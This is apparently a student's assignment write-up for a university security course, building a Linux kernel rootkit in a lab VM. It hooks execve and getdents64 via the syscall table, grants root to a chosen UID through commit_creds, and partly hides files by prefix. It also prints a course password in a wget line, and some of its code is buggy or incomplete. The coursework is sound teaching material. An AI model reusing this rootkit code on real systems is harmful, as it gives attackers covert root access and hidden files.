

Assignment 2

Hello! Attached in my tar file is this PDF, rootkit.c, insert.sh and eject.sh. Please take a look at them!

Part A

```
student@COMP4108-a2:~$ wget --user comp4108 --password z480WJanF2wYV49A https://www.cisl.carleton.ca/~hpatel/comp4108/private/code/a2/a2.tar.gz
--2024-09-27 11:47:26-- https://www.cisl.carleton.ca/~hpatel/comp4108/private/code/a2/a2.tar.gz
Resolving www.cisl.carleton.ca (www.cisl.carleton.ca)... 134.117.225.9
Connecting to www.cisl.carleton.ca (www.cisl.carleton.ca)|134.117.225.9|:443... connected.
HTTP request sent, awaiting response... 401 Unauthorized
Authentication selected: Basic realm="COMP4108 Student Files"
Reusing existing connection to www.cisl.carleton.ca:443.
HTTP request sent, awaiting response... 200 OK
Length: 2647 (2.6K) [application/x-gzip]
Saving to: 'a2.tar.gz'

a2.tar.gz          100%[=====] 2.58K  --.-KB/s  in 0s
2024-09-27 11:47:26 (165 MB/s) - 'a2.tar.gz' saved [2647/2647]
```

1.

```
student@COMP4108-a2:~$ sudo bash
[sudo] password for student:
root@COMP4108-a2:/home/student# ls
a2  a2.tar.gz
root@COMP4108-a2:/home/student#
```

2.

3. The address of the `sys_call_table` symbol is: `ffffff8d8002a0`. I did this by opening the `/proc/kallsyms` file and searching for `_sys_call_table`

a.

```
ffffff8d800270 r __func__.45642
ffffff8d8002a0 R x32_sys_call_table
ffffff8d8013c0 R sys_call_table
```

```
unsigned long * get_syscall_table_bf(void){
    unsigned long *syscall_table;
    syscall_table = (unsigned long*)kallsyms_lookup_name("sys_call_table");
    return syscall_table;
}
```

4.

a. From question 3, I saw that the symbol is `sys_call_table`

5.

```

root@COMP4108-a2:/home/student/a2# make
make -C /lib/modules/5.4.0-171-generic/build M=/home/student/a2 modules
make[1]: Entering directory '/usr/src/linux-headers-5.4.0-171-generic'
CC [M] /home/student/a2/rootkit.o
/home/student/a2/rootkit.c:74:14: warning: 'magic_prefix' defined but not used [-Wunused-variable]
 74 | static char* magic_prefix;
    |                ^~~~~~
/home/student/a2/rootkit.c:62:12: warning: 'root_uid' defined but not used [-Wunused-variable]
 62 | static int root_uid;
    |            ^~~~~~
Building modules, stage 2.
MODPOST 1 modules
CC [M] /home/student/a2/rootkit.mod.o
LD [M] /home/student/a2/rootkit.ko
make[1]: Leaving directory '/usr/src/linux-headers-5.4.0-171-generic'
root@COMP4108-a2:/home/student/a2#

```

6. a. After running `./insert.sh` and running `lsmod`, I see rootkit as a module listed

```

make[1]: Leaving directory '/usr/src/linux-headers-5.4.0-171-generic'
root@COMP4108-a2:/home/student/a2# ./insert.sh
root@COMP4108-a2:/home/student/a2# lsmod
Module                Size Used by
rootkit                16384 0

```

7. After running `./eject.sh`, I can see that when I run `lsmod`, I don't see rootkit as one of the modules listed

```

root@COMP4108-a2:/home/student/a2# ./eject.sh
root@COMP4108-a2:/home/student/a2# lsmod
Module                Size Used by
intel_rapl_msr        20480 0
intel_rapl_common     24576 1 intel_rapl_msr
kvm_intel              286720 0
kvm                    667648 1 kvm_intel
crct10dif_pclmul      16384 1
ghash_clmulni_intel   16384 0
aesni_intel           372736 0
crypto_simd            16384 1 aesni_intel
cryptd                 24576 2 crypto_simd,ghash_clmulni_intel
glue_helper            16384 1 aesni_intel

```

- 8.

```

// Let's hook openat() for an example of how to use the framework
__sys_call_table[__NR_openat] = (unsigned long) new_openat;

```

i.

```

*/
// Let's unhook and restore the original openat() function
__sys_call_table[__NR_openat] = (unsigned long)original_openat;

```

- ii.
- iii. After hooking and unhooking the `openat()` function in the appropriate places in the code, I receive this output when I try to load the Rootkit module

```
n /usr/sbin/invoke-rc.d anacron start >/dev/null; fi)
Sep 29 08:32:19 COMP4108-a2 systemd[1]: Started Run anacron jobs.
Sep 29 08:32:19 COMP4108-a2 anacron[11811]: Anacron 2.3 started on 2024-09-29
Sep 29 08:32:19 COMP4108-a2 anacron[11811]: Normal exit (0 jobs run)
Sep 29 08:32:19 COMP4108-a2 systemd[1]: anacron.service: Succeeded.
Sep 29 08:33:14 COMP4108-a2 kernel: [318667.718751] Rootkit module is unloaded!
Sep 29 08:33:14 COMP4108-a2 kernel: [318667.718770] Rootkit module cleanup complete.
Sep 29 08:33:27 COMP4108-a2 kernel: [318681.255518] Rootkit module initializing.
Sep 29 08:33:27 COMP4108-a2 kernel: [318681.270702] Rootkit module is loaded!
root@COMP4108-a2:/home/student/a2#
```

iv.

9. In this assignment, I am assuming that the rootkit has been secretly installed on this (the victim's) machine:

- i. I believe that **P4** (complete mediation) would be good at minimizing the damage a rootkit can do, once in the system. This principle touches on the importance of ensuring the authorization of any process/entity that tries access to objects in the system (like files). After a rootkit has been installed, if this property is well enforced, it could mitigate what the rootkit can do.
- ii. I also believe that **P5** (isolated compartments) can make it harder for rootkits to perform more widespread damage. With isolated compartments, if a rootkit does perform some damage to a system, it helps ensure that the damage stays more contained.

Part B

1.

```
#define __NR_execve 11
#endif
```

```
asmmlinkage int new_exeve(const struct pt_regs* regs){
    kuid_t _euid;
    char *filename;
    long ret;
    // Get the filename the syscall was called for
    filename = kmalloc(4096, GFP_KERNEL); // allocate kernel memory
    // copy the filename into the kernel variable
    if (strncpy_from_user(filename, (void*) regs->di, 4096) < 0) {
        kfree(filename);
        return 0;
    }
    //getting the euid
    _euid = current_euid();
    printk(KERN_INFO "Executing: %s\n", filename);
    printk(KERN_INFO "Effective UID: %d\n", _euid.val);
```

```
// Let's store the original functions so they can be restored later
original_opensyscall = (t_syscall) __sys_call_table[__NR_opensyscall];
original_execve = (t_syscall) __sys_call_table[__NR_execve];
original_getdents = (t_syscall) __sys_call_table[__NR_getdents64];
```

```
/*
```

```
* Unhook and restore the execve and getdents functions
```

```
*/
```

```
// Let's unhook and restore the original execve() function
__sys_call_table[__NR_execve] = (unsigned long)original_execve;
// Let's unhook and restore the original getdents() function
__sys_call_table[__NR_getdents64] = (unsigned long)original_getdents;
```

```

*/
// Let's hook execve() for privilege excalation
__sys_call_table[__NR_execve] = (unsigned long) new_exeve;
// Let's hook getdents() to hide our files
__sys_call_table[__NR_getdents64] = (unsigned long) new_getdents;

```

```

psmouse          155648  0
crc32_pclmul     16384  0
failover         16384  1 net_failover
i2c_piix4        28672  0
pata_acpi        16384  0
floppy           81920  0
root@COMP4108-a2:/home/student/a2# ./eject.sh
root@COMP4108-a2:/home/student/a2# ./insert.sh
root@COMP4108-a2:/home/student/a2# dmesg | tail
[764275.834709] Executing: /bin/cat
[764275.834711] Effective UID: 1001
[764275.836894] Executing: /bin/cat
[764275.836896] Effective UID: 1001
[764275.839144] Executing: /bin/sleep
[764275.839146] Effective UID: 1001
[764275.927704] Executing: /usr/bin/tail
[764275.927708] Effective UID: 0
[764275.927950] Executing: /bin/dmesg
[764275.927987] Effective UID: 0
root@COMP4108-a2:/home/student/a2# █

```

- i. I created a new function called new_exeve() which is hooked to the original execve function, so that it, rather than the original, is called. After allocating the appropriate amount of memory in the kernel space, we get the filename, print it to the kernel log, before freeing it. We also print the effective userid. The appropriate hooking and unhooking was done as well.

```

> $ insert.sh
1  #!/bin/bash
2
3  # Specify the extension suffix for the openat hook code
4  SUFFIX=.txt
5
6  ROOT_UID=1001
7  MAGIC_PREFIX=\$sys\$
8
9  #Insert the rootkit module, providing some parameters
0  insmod rootkit.ko suffix=$SUFFIX root_uid=$ROOT_UID

```

2.

```

/*
 * When a user with an effective UID = root_uid runs a command via execve()
 * we make our hook grant them root priv. root_uid's value is provided as a
 * kernel module argument.
 */
static int root_uid;
module_param(root_uid, int, 0);
MODULE_PARM_DESC(root_uid, "Received root_uid parameter");

```

```
kfree(filename);
```

```

if (_euid.val == root_uid)
{
|  commit_creds(prepare_kernel_cred(NULL));
}

```

```

● student@COMP4108-a2:~$ whoami
  student
● student@COMP4108-a2:~$ whoami
  root
○ student@COMP4108-a2:~$ █

```

```

root@COMP4108-a2:/home/student/a2# ./eject.sh
root@COMP4108-a2:/home/student/a2# ./insert.sh
root@COMP4108-a2:/home/student/a2# █

```

- i. By passing in the `root_uid` as a kernel module argument using `insert.sh`, we check if the `euid` is equal to it, and if it is, we use the `prepare_kernel_cred()` to prepare the kernel level credentials we want to give to the process, and then give it to them using the `commit_creds()` function.

Ezhil Isaac 101181468

Part C

```

asmLinkage int new_getdents(const struct pt_regs* regs){
    long ret = original_getdents(regs); //
    struct linux_dirent64 *d;
    int bpos;
    struct linux_dirent *user_space_buffer;
    struct linux_dirent *kernel_space_buffer;
    user_space_buffer = (struct linux_dirent*)regs->si;
    struct *filtered_user_space_buffer;
    filtered_user_space_buffer = (struct linux_dirent*)regs->si;

    kernel_space_buffer = kmalloc(ret, GFP_KERNEL);

    // Pointer to the user space buffer
    user_space_buffer = (struct linux_dirent*)regs->si;

    // Allocate memory for the kernel buffer
    kernel_space_buffer = kmalloc(ret, GFP_KERNEL);
    if (!kernel_space_buffer) {
        | | return -ENOMEM; // Return an error if allocation fails
    }

    // Copy data from user space to kernel space
    if (copy_from_user(kernel_space_buffer, user_space_buffer, ret) < 0) {
        | | kfree(kernel_space_buffer);
        | | return -EFAULT; // If the copy fails, return an error
    }

    //copying code from the userspace to the kernel space
    if (copy_from_user(kernel_space_buffer, user_space_buffer, ret) < 0) {
        | | kfree(kernel_space_buffer);
        | | return ret;
    }

    printk(KERN_INFO "STARTING OUTPUT NOW!");

```

1.

```

for (bpos = 0; bpos < ret; ) {
    d = (struct linux_dirent64 *)((char *)kernel_space_buffer + bpos);
    printk(KERN_INFO "entry: %s\n", d->d_name);
    bpos += d->d_reclen; // Move to the next entry based on record length
}

```

```
[338855.351048] entry: ..  
[338855.351052] STARTING OUTPUT NOW!  
[338855.351108] Rootkit module is unloaded!  
[338855.351129] Rootkit module cleanup complete.  
[338862.654578] Rootkit module initializing.  
[338862.673410] Rootkit module is loaded!  
[338863.456757] Executing: /bin/ls  
[338863.456761] Effective UID: 0  
[338863.460329] STARTING OUTPUT NOW!  
[338863.460332] entry:rootkit.o  
[338863.460336] entry:.rootkit.mod.o.cmd  
[338863.460338] entry: ..  
[338863.460340] entry:insert.sh  
[338863.460343] entry:rootkit.c  
[338863.460345] entry:rootkit.mod.c  
[338863.460348] entry:rootkit.ko  
[338863.460351] entry:.rootkit.ko.cmd  
[338863.460353] entry:Makefile  
[338863.460356] entry:modules.order  
[338863.460358] entry:rootkit.mod.o  
[338863.460361] entry:.rootkit.o.cmd  
[338863.460363] entry:eject.sh  
[338863.460365] entry: .  
[338863.460368] entry:.rootkit.mod.cmd  
[338863.460371] entry:Module.symvers  
[338863.460373] entry:rootkit.mod
```

- i. In this code, I am allocating memory in the kernel space, so that I can copy dirent structs from the userspace and read their filename. Then I iterate through the dirent structs and print out the file names to the kernel logs.

```

$ insert.sh
#!/bin/bash

# Specify the extension suffix for the openat hook code
SUFFIX=.txt

ROOT_UID=1001
MAGIC_PREFIX=\$sys\$

#Insert the rootkit module, providing some parameters
insmod rootkit.ko suffix=$SUFFIX root_uid=$ROOT_UID magic_prefix=$MAGIC_PREFIX

```

2.

```

/*
for (bpos = 0; bpos < ret; ) {
    d = (struct linux_dirent64 *)((char *)kernel_space_buffer + bpos);
    if(strncmp(d->d_name, magic_prefix, strlen(magic_prefix)) == 0)
    {
        //the removing action starts here
        int element_size = d->d_reclen;
        //remaining buffer size
        int remaining_buffer_size = ret-(bpos + entry_size);
        //trying to replace unwanted elements by shifting elements down
        memmove((char *)kernel_space_buffer + bpos, (char *)kernel_space_buffer + bpos+element_
        ret-= entry_size;
    }
    //printf(KERN_INFO "entry: %s\n", d->d_name);
    else{
        bpos += d->d_reclen; // Move to the next entry based on record length
    }
}
copy_to_user(filtered_user_space_buffer, kernel_space_buffer, strlen(kernel_space_buffer));
*/
/*

kfree(kernel_space_buffer);
return ret;

```

- i. My code for this question is not complete, however, I have a somewhat high level understanding of what needs to be done. I tried to iterate through the dirents in the kernel memory and got rid of the ones whose name starts with the magic prefix by shifting other elements into their place. I then attempt to send the contents of this buffer to the userspace.